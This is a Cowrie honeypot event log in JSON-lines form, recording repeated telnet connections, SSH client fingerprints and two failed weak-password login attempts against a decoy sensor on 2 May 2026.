{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e74b58be114","protocol":"telnet","message":"New connection: 5.196.58.99:60318 (10.17.0.5:23) [session: 3e74b58be114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:41.616885Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50206,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab35a6527dd","protocol":"telnet","message":"New connection: 174.138.46.234:50206 (159.203.135.109:23) [session: 9ab35a6527dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:41.810102Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60330,"dst_ip":"10.17.0.5","dst_port":23,"session":"492796e55676","protocol":"telnet","message":"New connection: 5.196.58.99:60330 (10.17.0.5:23) [session: 492796e55676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:42.268305Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b181c1ae32cb","protocol":"telnet","message":"New connection: 5.196.58.99:60358 (10.17.0.5:23) [session: b181c1ae32cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:43.255635Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"187a6d2f8501","protocol":"telnet","message":"New connection: 5.196.58.99:60364 (10.17.0.5:23) [session: 187a6d2f8501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:43.296531Z"}
{"eventid":"cowrie.session.closed","duration":30.41867423057556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:43.362064Z","src_ip":"5.196.58.99","session":"fa219e626e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a6ebfbf2ae","protocol":"telnet","message":"New connection: 5.196.58.99:55494 (10.17.0.5:23) [session: 51a6ebfbf2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:43.693681Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a270a19d3926","protocol":"telnet","message":"New connection: 5.196.58.99:55508 (10.17.0.5:23) [session: a270a19d3926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:44.041030Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55516,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd0027c3d28","protocol":"telnet","message":"New connection: 5.196.58.99:55516 (10.17.0.5:23) [session: 7cd0027c3d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:44.799086Z"}
{"eventid":"cowrie.session.closed","duration":30.929783582687378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.159432Z","src_ip":"5.196.58.99","session":"eaa854496e3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c5728657d0","protocol":"telnet","message":"New connection: 5.196.58.99:55522 (10.17.0.5:23) [session: 65c5728657d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.276726Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9c8ee813ef","protocol":"telnet","message":"New connection: 5.196.58.99:55536 (10.17.0.5:23) [session: 3f9c8ee813ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.713458Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60342,"dst_ip":"10.17.0.5","dst_port":23,"session":"002ce4f0ef0a","protocol":"telnet","message":"New connection: 5.196.58.99:60342 (10.17.0.5:23) [session: 002ce4f0ef0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.739385Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55544,"dst_ip":"10.17.0.5","dst_port":23,"session":"72657fba3807","protocol":"telnet","message":"New connection: 5.196.58.99:55544 (10.17.0.5:23) [session: 72657fba3807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.901352Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"1761a41f5dd1","protocol":"telnet","message":"New connection: 5.196.58.99:55554 (10.17.0.5:23) [session: 1761a41f5dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:45.910988Z"}
{"eventid":"cowrie.session.closed","duration":31.221296310424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:46.184840Z","src_ip":"5.196.58.99","session":"5369f82cc818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394122838974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:46.269714Z","src_ip":"5.196.58.99","session":"9336b6881f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.980044841766357,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:46.421812Z","src_ip":"174.138.46.234","session":"3e3489800a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc4891ac0c6","protocol":"telnet","message":"New connection: 5.196.58.99:55562 (10.17.0.5:23) [session: 4cc4891ac0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:46.472577Z"}
{"eventid":"cowrie.session.closed","duration":31.05548858642578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:47.133814Z","src_ip":"5.196.58.99","session":"e75d89e2e1ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.777098655700684,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:47.587090Z","src_ip":"174.138.46.234","session":"9ab35a6527dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b952e4d113ff","protocol":"telnet","message":"New connection: 5.196.58.99:55572 (10.17.0.5:23) [session: b952e4d113ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:47.981681Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55582,"dst_ip":"10.17.0.5","dst_port":23,"session":"52039d703c8c","protocol":"telnet","message":"New connection: 5.196.58.99:55582 (10.17.0.5:23) [session: 52039d703c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:49.234500Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0fe2aedf74","protocol":"telnet","message":"New connection: 5.196.58.99:55588 (10.17.0.5:23) [session: af0fe2aedf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:49.452507Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff38d445712","protocol":"telnet","message":"New connection: 5.196.58.99:55596 (10.17.0.5:23) [session: 3ff38d445712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:49.555960Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0220972da6f","protocol":"telnet","message":"New connection: 5.196.58.99:55602 (10.17.0.5:23) [session: f0220972da6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:49.560792Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55614,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9573bafc94","protocol":"telnet","message":"New connection: 5.196.58.99:55614 (10.17.0.5:23) [session: db9573bafc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:50.439445Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55568,"dst_ip":"10.17.0.5","dst_port":23,"session":"768e4cc5193b","protocol":"telnet","message":"New connection: 5.196.58.99:55568 (10.17.0.5:23) [session: 768e4cc5193b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:50.448737Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55570,"dst_ip":"10.17.0.5","dst_port":23,"session":"5411d9f130bd","protocol":"telnet","message":"New connection: 5.196.58.99:55570 (10.17.0.5:23) [session: 5411d9f130bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:50.903080Z"}
{"eventid":"cowrie.session.closed","duration":30.808335065841675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:51.399799Z","src_ip":"5.196.58.99","session":"2c30d74e2b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.188759326934814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.055006Z","src_ip":"5.196.58.99","session":"9f1375a4d8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566671133041382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.106956Z","src_ip":"5.196.58.99","session":"3b22a5fd26b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63102,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aaa8a3e7680","protocol":"ssh","message":"New connection: 109.91.4.177:63102 (10.17.0.5:22) [session: 3aaa8a3e7680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.114702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.118520Z","src_ip":"109.91.4.177","session":"3aaa8a3e7680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55616,"dst_ip":"10.17.0.5","dst_port":23,"session":"150e3973455a","protocol":"telnet","message":"New connection: 5.196.58.99:55616 (10.17.0.5:23) [session: 150e3973455a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.132726Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.227146Z","src_ip":"109.91.4.177","session":"3aaa8a3e7680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55620,"dst_ip":"10.17.0.5","dst_port":23,"session":"870ca64fecf8","protocol":"telnet","message":"New connection: 5.196.58.99:55620 (10.17.0.5:23) [session: 870ca64fecf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:52.322259Z"}
{"eventid":"cowrie.session.closed","duration":30.49110984802246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:53.078661Z","src_ip":"5.196.58.99","session":"18a34ad630b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty1234","message":"login attempt [user/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:53.119087Z","src_ip":"109.91.4.177","session":"3aaa8a3e7680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59068536758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.063213Z","src_ip":"5.196.58.99","session":"6a385a6a826b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.231422Z","src_ip":"109.91.4.177","session":"3aaa8a3e7680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70551085472107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.503336Z","src_ip":"5.196.58.99","session":"eb073b3874a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c10f2eaf0d","protocol":"telnet","message":"New connection: 5.196.58.99:55066 (10.17.0.5:23) [session: 35c10f2eaf0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.512666Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55078,"dst_ip":"10.17.0.5","dst_port":23,"session":"fadfc4cfbea0","protocol":"telnet","message":"New connection: 5.196.58.99:55078 (10.17.0.5:23) [session: fadfc4cfbea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.555227Z"}
{"eventid":"cowrie.session.closed","duration":31.45903182029724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:54.863241Z","src_ip":"5.196.58.99","session":"66ab95dd0185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55090,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fe98252197","protocol":"telnet","message":"New connection: 5.196.58.99:55090 (10.17.0.5:23) [session: 26fe98252197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:55.528185Z"}
{"eventid":"cowrie.session.closed","duration":30.458085298538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:56.172421Z","src_ip":"5.196.58.99","session":"ea29a5e8281d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55114,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d7aa5ebb52","protocol":"telnet","message":"New connection: 5.196.58.99:55114 (10.17.0.5:23) [session: 15d7aa5ebb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:56.509703Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55088,"dst_ip":"10.17.0.5","dst_port":23,"session":"95db07b17beb","protocol":"telnet","message":"New connection: 5.196.58.99:55088 (10.17.0.5:23) [session: 95db07b17beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:56.530345Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55106,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a414ca45aaa","protocol":"telnet","message":"New connection: 5.196.58.99:55106 (10.17.0.5:23) [session: 7a414ca45aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:57.101049Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"421a9b46a849","protocol":"telnet","message":"New connection: 5.196.58.99:55128 (10.17.0.5:23) [session: 421a9b46a849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:57.673484Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55134,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1083b014afe","protocol":"telnet","message":"New connection: 5.196.58.99:55134 (10.17.0.5:23) [session: b1083b014afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.011757Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":5358,"dst_ip":"10.17.0.5","dst_port":22,"session":"211e61bbd7b7","protocol":"ssh","message":"New connection: 155.4.244.179:5358 (10.17.0.5:22) [session: 211e61bbd7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.017429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.022349Z","src_ip":"155.4.244.179","session":"211e61bbd7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55138,"dst_ip":"10.17.0.5","dst_port":23,"session":"073a80b55a1a","protocol":"telnet","message":"New connection: 5.196.58.99:55138 (10.17.0.5:23) [session: 073a80b55a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.049208Z"}
{"eventid":"cowrie.session.closed","duration":30.175445318222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.120080Z","src_ip":"5.196.58.99","session":"a417f2adf226","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.132268Z","src_ip":"155.4.244.179","session":"211e61bbd7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9b69eb88a5","protocol":"telnet","message":"New connection: 5.196.58.99:55148 (10.17.0.5:23) [session: 3f9b69eb88a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.199524Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55160,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ef7a5e8f2d","protocol":"telnet","message":"New connection: 5.196.58.99:55160 (10.17.0.5:23) [session: 43ef7a5e8f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.463832Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55168,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f614d864176","protocol":"telnet","message":"New connection: 5.196.58.99:55168 (10.17.0.5:23) [session: 5f614d864176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.556432Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"883f4390af82","protocol":"telnet","message":"New connection: 5.196.58.99:55170 (10.17.0.5:23) [session: 883f4390af82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.696789Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55178,"dst_ip":"10.17.0.5","dst_port":23,"session":"245933051614","protocol":"telnet","message":"New connection: 5.196.58.99:55178 (10.17.0.5:23) [session: 245933051614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:58.816573Z"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:59.085734Z","src_ip":"155.4.244.179","session":"211e61bbd7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.019254446029663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:59.352576Z","src_ip":"5.196.58.99","session":"cb78f0b7a73e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87762427330017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:00.162269Z","src_ip":"5.196.58.99","session":"d2607978c70b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:00.194145Z","src_ip":"155.4.244.179","session":"211e61bbd7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0560f1108f3f","protocol":"telnet","message":"New connection: 5.196.58.99:55190 (10.17.0.5:23) [session: 0560f1108f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:00.407423Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f10c53c1d0","protocol":"telnet","message":"New connection: 5.196.58.99:55204 (10.17.0.5:23) [session: e6f10c53c1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:00.701746Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55214,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c3adb18901","protocol":"telnet","message":"New connection: 5.196.58.99:55214 (10.17.0.5:23) [session: 04c3adb18901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:00.889454Z"}
